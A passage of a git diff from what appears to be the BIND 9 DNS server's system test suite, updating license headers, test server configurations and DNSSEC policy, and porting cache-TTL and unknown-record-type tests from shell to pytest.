- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -11,7 +13,7 @@
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -27,6 +29,7 @@ options {
 	listen-on { 10.53.0.1; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 	check-integrity no;
 };
 
diff --git a/bin/tests/system/ttl/ns2/hints.db b/bin/tests/system/ttl/ns2/hints.db
index 348fc96c11..c9264bf646 100644
--- a/bin/tests/system/ttl/ns2/hints.db
+++ b/bin/tests/system/ttl/ns2/hints.db
@@ -1,2 +1,13 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
 . 60 IN NS ns.nil.
 ns.nil. 60 IN A 10.53.0.1
diff --git a/bin/tests/system/ttl/ns2/named.conf.in b/bin/tests/system/ttl/ns2/named.conf.in
index 0762625492..1716807621 100644
--- a/bin/tests/system/ttl/ns2/named.conf.in
+++ b/bin/tests/system/ttl/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -30,7 +32,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/ttl/setup.sh b/bin/tests/system/ttl/setup.sh
index 68fd0d2b81..6929ec541d 100644
--- a/bin/tests/system/ttl/setup.sh
+++ b/bin/tests/system/ttl/setup.sh
@@ -1,7 +1,17 @@
 #!/bin/sh
 
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
 . ../conf.sh
 
-$SHELL clean.sh
 copy_setports ns1/named.conf.in ns1/named.conf
 copy_setports ns2/named.conf.in ns2/named.conf
diff --git a/bin/tests/system/ttl/tests.sh b/bin/tests/system/ttl/tests.sh
deleted file mode 100644
index e0a3582b7f..0000000000
--- a/bin/tests/system/ttl/tests.sh
+++ /dev/null
@@ -1,35 +0,0 @@
-#!/bin/sh
-
-. ../conf.sh
-
-dig_with_options() { "$DIG" +noadd +nosea +nostat +noquest +nocomm +nocmd -p "${PORT}" "$@"; }
-
-status=0
-t=0
-
-echo_i "testing min-cache-ttl"
-t=$((t+1))
-dig_with_options IN SOA min-example. @10.53.0.2 > dig.out.${t}
-TTL=$(< dig.out.${t} awk '{ print $2; }')
-[ "$TTL" -eq 60 ] || status=$((status+1))
-
-echo_i "testing min-ncache-ttl"
-t=$((t+1))
-dig_with_options IN MX min-example. @10.53.0.2 > dig.out.${t}
-TTL=$(< dig.out.${t} awk '{ print $2; }')
-[ "$TTL" -eq 30 ] || status=$((status+1))
-
-echo_i "testing max-cache-ttl"
-t=$((t+1))
-dig_with_options IN SOA max-example. @10.53.0.2 > dig.out.${t}
-TTL=$(< dig.out.${t} awk '{ print $2; }')
-[ "$TTL" -eq 120 ] || status=$((status+1))
-
-echo_i "testing max-ncache-ttl"
-t=$((t+1))
-dig_with_options IN MX max-example. @10.53.0.2 > dig.out.${t}
-TTL=$(< dig.out.${t} awk '{ print $2; }')
-[ "$TTL" -eq 60 ] || status=$((status+1))
-
-echo_i "exit status: $status"
-[ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/ttl/tests_cache_ttl.py b/bin/tests/system/ttl/tests_cache_ttl.py
new file mode 100644
index 0000000000..9025283bd2
--- /dev/null
+++ b/bin/tests/system/ttl/tests_cache_ttl.py
@@ -0,0 +1,32 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+import pytest
+
+pytest.importorskip("dns")
+import dns.message
+import dns.query
+
+
+@pytest.mark.parametrize(
+    "qname,rdtype,expected_ttl",
+    [
+        ("min-example.", "SOA", 60),
+        ("min-example.", "MX", 30),
+        ("max-example.", "SOA", 120),
+        ("max-example.", "MX", 60),
+    ],
+)
+def test_cache_ttl(qname, rdtype, expected_ttl, named_port):
+    msg = dns.message.make_query(qname, rdtype)
+    response = dns.query.udp(msg, "10.53.0.2", timeout=10, port=named_port)
+    for rr in response.answer + response.authority:
+        assert rr.ttl == expected_ttl
diff --git a/bin/tests/system/unknown/clean.sh b/bin/tests/system/unknown/clean.sh
index a7b2c8e842..1d73edda5b 100644
--- a/bin/tests/system/unknown/clean.sh
+++ b/bin/tests/system/unknown/clean.sh
@@ -1,15 +1,17 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
-rm -f dig.out check.out
+rm -f dig.out* check.out
 rm -f */named.memstats
 rm -f */named.conf
 rm -f */named.run
diff --git a/bin/tests/system/unknown/ns1/broken1.db b/bin/tests/system/unknown/ns1/broken1.db
index 0c5a4a5173..cee3832cec 100644
--- a/bin/tests/system/unknown/ns1/broken1.db
+++ b/bin/tests/system/unknown/ns1/broken1.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/unknown/ns1/broken2.db b/bin/tests/system/unknown/ns1/broken2.db
index a3c84ffff1..b06ce832c3 100644
--- a/bin/tests/system/unknown/ns1/broken2.db
+++ b/bin/tests/system/unknown/ns1/broken2.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/unknown/ns1/broken3.db b/bin/tests/system/unknown/ns1/broken3.db
index 17dde882e9..24c0aed658 100644
--- a/bin/tests/system/unknown/ns1/broken3.db
+++ b/bin/tests/system/unknown/ns1/broken3.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/unknown/ns1/broken4.db b/bin/tests/system/unknown/ns1/broken4.db
index a40425625a..448bc4b9f1 100644
--- a/bin/tests/system/unknown/ns1/broken4.db
+++ b/bin/tests/system/unknown/ns1/broken4.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/unknown/ns1/broken5.db b/bin/tests/system/unknown/ns1/broken5.db
index c31e2791b8..b868a6ca2f 100644
--- a/bin/tests/system/unknown/ns1/broken5.db
+++ b/bin/tests/system/unknown/ns1/broken5.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/unknown/ns1/class10.hints b/bin/tests/system/unknown/ns1/class10.hints
index 440b36fa15..cf782459b8 100644
--- a/bin/tests/system/unknown/ns1/class10.hints
+++ b/bin/tests/system/unknown/ns1/class10.hints
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/unknown/ns1/example-class10.db b/bin/tests/system/unknown/ns1/example-class10.db
index a8e1d4d497..ba69aadf8a 100644
--- a/bin/tests/system/unknown/ns1/example-class10.db
+++ b/bin/tests/system/unknown/ns1/example-class10.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/unknown/ns1/example-in.db b/bin/tests/system/unknown/ns1/example-in.db
index d29f8da5e8..9b4b8ec837 100644
--- a/bin/tests/system/unknown/ns1/example-in.db
+++ b/bin/tests/system/unknown/ns1/example-in.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/unknown/ns1/large.db b/bin/tests/system/unknown/ns1/large.db
index 2c826d7e45..ada9930526 100644
--- a/bin/tests/system/unknown/ns1/large.db
+++ b/bin/tests/system/unknown/ns1/large.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/unknown/ns1/named.conf.in b/bin/tests/system/unknown/ns1/named.conf.in
index 644045fb5b..a4b98db7af 100644
--- a/bin/tests/system/unknown/ns1/named.conf.in
+++ b/bin/tests/system/unknown/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -18,6 +20,7 @@ options {
 	listen-on { 10.53.0.1; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 	notify no;
 };
 
diff --git a/bin/tests/system/unknown/ns2/named.conf.in b/bin/tests/system/unknown/ns2/named.conf.in
index bdae36ae17..af81836530 100644
--- a/bin/tests/system/unknown/ns2/named.conf.in
+++ b/bin/tests/system/unknown/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -18,6 +20,7 @@ options {
 	listen-on { 10.53.0.2; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 	notify no;
 };
 
diff --git a/bin/tests/system/unknown/ns3/named.conf.in b/bin/tests/system/unknown/ns3/named.conf.in
index b665d17f54..9b2abaacce 100644
--- a/bin/tests/system/unknown/ns3/named.conf.in
+++ b/bin/tests/system/unknown/ns3/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -18,15 +20,23 @@ options {
 	listen-on { 10.53.0.3; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 	notify no;
 };
 
+dnssec-policy unknown {
+	keys {
+		ksk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+		zsk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+	};
+};
+
 view "in" {
 	zone "example." {
 		type secondary;
 		primaries { 10.53.0.1; };
 		inline-signing yes;
-		auto-dnssec maintain;
+		dnssec-policy unknown;
 		file "example-in.bk";
 	};
 };
diff --git a/bin/tests/system/unknown/ns3/sign.sh b/bin/tests/system/unknown/ns3/sign.sh
deleted file mode 100644
index 7a9af39876..0000000000
--- a/bin/tests/system/unknown/ns3/sign.sh
+++ /dev/null
@@ -1,18 +0,0 @@
-#!/bin/sh -e
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-. ../../conf.sh
-
-zone=example
-rm -f K${zone}.+*+*.key
-rm -f K${zone}.+*+*.private
-keyname=`$KEYGEN -q -a RSASHA1 -b 1024 -n zone $zone`
-keyname=`$KEYGEN -q -a RSASHA1 -b 1024 -n zone -f KSK $zone`
diff --git a/bin/tests/system/unknown/setup.sh b/bin/tests/system/unknown/setup.sh
index 10d6d26227..7ffda5583c 100644
--- a/bin/tests/system/unknown/setup.sh
+++ b/bin/tests/system/unknown/setup.sh
@@ -1,7 +1,11 @@
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -12,5 +16,3 @@
 copy_setports ns1/named.conf.in ns1/named.conf
 copy_setports ns2/named.conf.in ns2/named.conf
 copy_setports ns3/named.conf.in ns3/named.conf
-
-(cd ns3; $SHELL -e sign.sh)
diff --git a/bin/tests/system/unknown/tests.sh b/bin/tests/system/unknown/tests.sh
index 927d917e43..f52b50e8e5 100644
--- a/bin/tests/system/unknown/tests.sh
+++ b/bin/tests/system/unknown/tests.sh
@@ -1,208 +1,235 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 status=0
+n=0
 
 DIGOPTS="-p ${PORT}"
 
-echo_i "querying for various representations of an IN A record"
+dig_cmd() {
+	# shellcheck disable=SC2086
+	"$DIG" $DIGOPTS "$@" | grep -v '^;'
+}
+
+n=$((n+1))
+echo_i "querying for various representations of an IN A record ($n)"
 for i in 1 2 3 4 5 6 7 8 9 10 11 12
 do
 	ret=0
-	$DIG +short $DIGOPTS @10.53.0.1 a$i.example a in > dig.out || ret=1
-	echo 10.0.0.1 | $DIFF - dig.out || ret=1
+	dig_cmd +short @10.53.0.1 a$i.example a in > dig.out.$i.test$n
+	echo 10.0.0.1 | diff - dig.out.$i.test$n || ret=1
 	if [ $ret != 0 ]
 	then
 		echo_i "#$i failed"
 	fi
-	status=`expr $status + $ret`
+	status=$((status + ret))
 done
 
-echo_i "querying for various representations of an IN TXT record"
+n=$((n+1))
+echo_i "querying for various representations of an IN TXT record ($n)"
 for i in 1 2 3 4 5 6 7
 do
 	ret=0
-	$DIG +short $DIGOPTS @10.53.0.1 txt$i.example txt in > dig.out || ret=1
-	echo '"hello"' | $DIFF - dig.out || ret=1
+	dig_cmd +short @10.53.0.1 txt$i.example txt in > dig.out.$i.test$n
+	echo '"hello"' | diff - dig.out.$i.test$n || ret=1
 	if [ $ret != 0 ]
 	then
 		echo_i "#$i failed"
 	fi
-	status=`expr $status + $ret`
+	status=$((status + ret))
 done
 
-echo_i "querying for various representations of an IN TYPE123 record"
+n=$((n+1))
+echo_i "querying for various representations of an IN TYPE123 record ($n)"
 for i in 1 2 3
 do
 	ret=0
-	$DIG +short $DIGOPTS @10.53.0.1 unk$i.example type123 in > dig.out || ret=1
-	echo '\# 1 00' | $DIFF - dig.out || ret=1
+	dig_cmd +short @10.53.0.1 unk$i.example type123 in > dig.out.$i.test$n
+	echo '\# 1 00' | diff - dig.out.$i.test$n || ret=1
 	if [ $ret != 0 ]
 	then
 		echo_i "#$i failed"
 	fi
-	status=`expr $status + $ret`
+	status=$((status + ret))
 done
 
-echo_i "querying for NULL record"
+n=$((n+1))
+echo_i "querying for NULL record ($n)"
 ret=0
-$DIG +short $DIGOPTS @10.53.0.1 null.example null in > dig.out || ret=1
-echo '\# 1 00' | $DIFF - dig.out || ret=1
+dig_cmd +short @10.53.0.1 null.example null in > dig.out.test$n
+echo '\# 1 00' | diff - dig.out.test$n || ret=1
 [ $ret = 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
-echo_i "querying for empty NULL record"
+n=$((n+1))
+echo_i "querying for empty NULL record ($n)"
 ret=0
-$DIG +short $DIGOPTS @10.53.0.1 empty.example null in > dig.out || ret=1
-echo '\# 0' | $DIFF - dig.out || ret=1
+dig_cmd +short @10.53.0.1 empty.example null in > dig.out.test$n
+echo '\# 0' | diff - dig.out.test$n || ret=1
 [ $ret = 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
-echo_i "querying for various representations of a CLASS10 TYPE1 record"
+n=$((n+1))
+echo_i "querying for various representations of a CLASS10 TYPE1 record ($n)"
 for i in 1 2
 do
 	ret=0
-	$DIG +short $DIGOPTS @10.53.0.1 a$i.example a class10 > dig.out || ret=1
-	echo '\# 4 0A000001' | $DIFF - dig.out || ret=1
+	dig_cmd +short @10.53.0.1 a$i.example a class10 > dig.out.$i.test$n
+	echo '\# 4 0A000001' | diff - dig.out.$i.test$n || ret=1
 	if [ $ret != 0 ]
 	then
 		echo_i "#$i failed"
 	fi
-	status=`expr $status + $ret`
+	status=$((status + ret))
 done
 
-echo_i "querying for various representations of a CLASS10 TXT record"
+n=$((n+1))
+echo_i "querying for various representations of a CLASS10 TXT record ($n)"
 for i in 1 2 3 4
 do
 	ret=0
-	$DIG +short $DIGOPTS @10.53.0.1 txt$i.example txt class10 > dig.out || ret=1
-	echo '"hello"' | $DIFF - dig.out || ret=1
+	dig_cmd +short @10.53.0.1 txt$i.example txt class10 > dig.out.$i.test$n
+	echo '"hello"' | diff - dig.out.$i.test$n || ret=1
 	if [ $ret != 0 ]
 	then
 		echo_i "#$i failed"
 	fi
-	status=`expr $status + $ret`
+	status=$((status + ret))
 done
 
-echo_i "querying for various representations of a CLASS10 TYPE123 record"
+n=$((n+1))
+echo_i "querying for various representations of a CLASS10 TYPE123 record ($n)"
 for i in 1 2
 do
 	ret=0
-	$DIG +short $DIGOPTS @10.53.0.1 unk$i.example type123 class10 > dig.out || ret=1
-	echo '\# 1 00' | $DIFF - dig.out || ret=1
+	dig_cmd +short @10.53.0.1 unk$i.example type123 class10 > dig.out.$i.test$n
+	echo '\# 1 00' | diff - dig.out.$i.test$n || ret=1
 	if [ $ret != 0 ]
 	then
 		echo_i "#$i failed"
 	fi
-	status=`expr $status + $ret`
+	status=$((status + ret))
 done
 
-echo_i "querying for SOAs of zone that should have failed to load"
+n=$((n+1))
+echo_i "querying for SOAs of zone that should have failed to load ($n)"
 for i in 1 2 3 4
 do
 	ret=0
-	$DIG $DIGOPTS @10.53.0.1 broken$i. soa in > dig.out || ret=1
-	grep "SERVFAIL" dig.out > /dev/null || ret=1
+	$DIG $DIGOPTS @10.53.0.1 broken$i. soa in > dig.out.$i.test$n || ret=1
+	grep "SERVFAIL" dig.out.$i.test$n > /dev/null || ret=1
 	if [ $ret != 0 ]
 	then
 		echo_i "#$i failed"
 	fi
-	status=`expr $status + $ret`
+	status=$((status + ret))
 done
 
-echo_i "checking large unknown record loading on primary"
+n=$((n+1))
+echo_i "checking large unknown record loading on primary ($n)"
 for try in 0 1 2 3 4 5 6 7 8 9; do
     ret=0
-    $DIG $DIGOPTS @10.53.0.1 +tcp +short large.example TYPE45234 > dig.out || { ret=1 ; echo_i "dig failed" ; }
-    $DIFF -s large.out dig.out > /dev/null || { ret=1 ; echo_i "$DIFF failed"; }
+    dig_cmd @10.53.0.1 +tcp +short large.example TYPE45234 > dig.out.$i.test$n
+    diff -s large.out dig.out.$i.test$n > /dev/null || { ret=1 ; echo_i "diff failed"; }
     [ "$ret" -eq 0 ] && break
     sleep 1
 done
 [ $ret = 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
-echo_i "checking large unknown record loading on secondary"
+n=$((n+1))
+echo_i "checking large unknown record loading on secondary ($n)"
 for try in 0 1 2 3 4 5 6 7 8 9; do
     ret=0
-    $DIG $DIGOPTS @10.53.0.2 +tcp +short large.example TYPE45234 > dig.out || { ret=1 ; echo_i "dig failed" ; }
-    $DIFF -s large.out dig.out > /dev/null || { ret=1 ; echo_i "$DIFF failed"; }
+    dig_cmd @10.53.0.2 +tcp +short large.example TYPE45234 > dig.out.$i.test$n
+    diff -s large.out dig.out.$i.test$n > /dev/null || { ret=1 ; echo_i "diff failed"; }
     [ "$ret" -eq 0 ] && break
     sleep 1
 done
 [ $ret = 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "stop and restart secondary"
-$PERL ../stop.pl unknown ns2
-start_server --noclean --restart --port ${PORT} unknown ns2
+stop_server ns2
+start_server --noclean --restart --port ${PORT} ns2
 
 # server may be answering queries before zones are loaded,
 # so retry a few times if this query fails
-echo_i "checking large unknown record loading on secondary"
+n=$((n+1))
+echo_i "checking large unknown record loading on secondary ($n)"
 for try in 0 1 2 3 4 5 6 7 8 9; do
     ret=0
-    $DIG $DIGOPTS @10.53.0.2 +tcp +short large.example TYPE45234 > dig.out || { ret=1 ; echo_i "dig failed" ; }
-    $DIFF -s large.out dig.out > /dev/null || { ret=1 ; echo_i "$DIFF failed"; }
+    dig_cmd @10.53.0.2 +tcp +short large.example TYPE45234 > dig.out.$i.test$n
+    diff -s large.out dig.out.$i.test$n > /dev/null || { ret=1 ; echo_i "diff failed"; }
     [ "$ret" -eq 0 ] && break
     sleep 1
 done
 [ $ret = 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
-echo_i "checking large unknown record loading on inline secondary"
+n=$((n+1))
+echo_i "checking large unknown record loading on inline secondary ($n)"
 ret=0
-$DIG $DIGOPTS @10.53.0.3 +tcp +short large.example TYPE45234 > dig.out || { ret=1 ; echo_i "dig failed" ; }
-$DIFF large.out dig.out > /dev/null || { ret=1 ; echo_i "$DIFF failed"; }
+dig_cmd @10.53.0.3 +tcp +short large.example TYPE45234 > dig.out.test$n
+diff large.out dig.out.test$n > /dev/null || { ret=1 ; echo_i "diff failed"; }
 [ $ret = 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "stop and restart inline secondary"
-$PERL ../stop.pl unknown ns3
-start_server --noclean --restart --port ${PORT} unknown ns3
+stop_server ns3
+start_server --noclean --restart --port ${PORT} ns3
 
 # server may be answering queries before zones are loaded,
 # so retry a few times if this query fails
-echo_i "checking large unknown record loading on inline secondary"
+n=$((n+1))
+echo_i "checking large unknown record loading on inline secondary ($n)"
 for try in 0 1 2 3 4 5 6 7 8 9; do
     ret=0
-    $DIG $DIGOPTS @10.53.0.3 +tcp +short large.example TYPE45234 > dig.out || { ret=1 ; echo_i "dig failed" ; }
-    $DIFF large.out dig.out > /dev/null || { ret=1 ; echo_i "$DIFF failed"; }
+    dig_cmd @10.53.0.3 +tcp +short large.example TYPE45234 > dig.out.$i.test$n
+    diff large.out dig.out.$i.test$n > /dev/null || { ret=1 ; echo_i "diff failed"; }
     [ "$ret" -eq 0 ] && break
     sleep 1
 done
 [ $ret = 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
-echo_i "check that '"'"\\#"'"' is not treated as the unknown escape sequence"
+n=$((n+1))
+echo_i "check that '"'"\\#"'"' is not treated as the unknown escape sequence ($n)"
 ret=0
-$DIG $DIGOPTS @10.53.0.1 +tcp +short txt8.example txt > dig.out
-echo '"#" "2" "0145"' | $DIFF - dig.out || ret=1
+dig_cmd @10.53.0.1 +tcp +short txt8.example txt > dig.out.test$n
+echo '"#" "2" "0145"' | diff - dig.out.test$n || ret=1
 [ $ret = 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
-echo_i "check that 'TXT \# text' is not treated as the unknown escape sequence"
+n=$((n+1))
+echo_i "check that 'TXT \# text' is not treated as the unknown escape sequence ($n)"
 ret=0
-$DIG $DIGOPTS @10.53.0.1 +tcp +short txt9.example txt > dig.out
-echo '"#" "text"' | $DIFF - dig.out || ret=1
+dig_cmd @10.53.0.1 +tcp +short txt9.example txt > dig.out.test$n
+echo '"#" "text"' | diff - dig.out.test$n || ret=1
 [ $ret = 0 ] || echo_i "failed"
